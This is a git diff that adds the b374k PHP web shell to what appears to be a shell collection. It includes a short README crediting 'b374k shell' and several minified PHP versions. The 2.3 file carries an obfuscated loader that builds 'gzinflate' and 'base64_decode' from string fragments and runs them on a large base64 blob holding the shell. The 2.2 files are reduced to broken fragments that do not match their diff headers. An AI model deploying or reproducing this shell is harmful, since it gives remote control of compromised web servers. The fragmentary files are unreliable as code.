diff --git a/php/b374k/README.md b/php/b374k/README.md new file mode 100644 index 0000000..159e2fb --- /dev/null +++ b/php/b374k/README.md @@ -0,0 +1,7 @@ +/* + b374k shell + Jayalah Indonesiaku + (c)2014 + https://github.com/b374k/b374k + +*/ \ No newline at end of file diff --git a/php/b374k/b374k-2.2.min.php b/php/b374k/b374k-2.2.min.php new file mode 100644 index 0000000..4074e15 --- /dev/null +++ b/php/b374k/b374k-2.2.min.php @@ -0,0 +1,274 @@ +".$x); ?> diff --git a/php/b374k/b374k-2.2.poly.php b/php/b374k/b374k-2.2.poly.php new file mode 100644 index 0000000..7c083e1 --- /dev/null +++ b/php/b374k/b374k-2.2.poly.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/php/b374k/b374k-2.3.min.php b/php/b374k/b374k-2.3.min.php new file mode 100644 index 0000000..3abab3c --- /dev/null +++ b/php/b374k/b374k-2.3.min.php @@ -0,0 +1,12 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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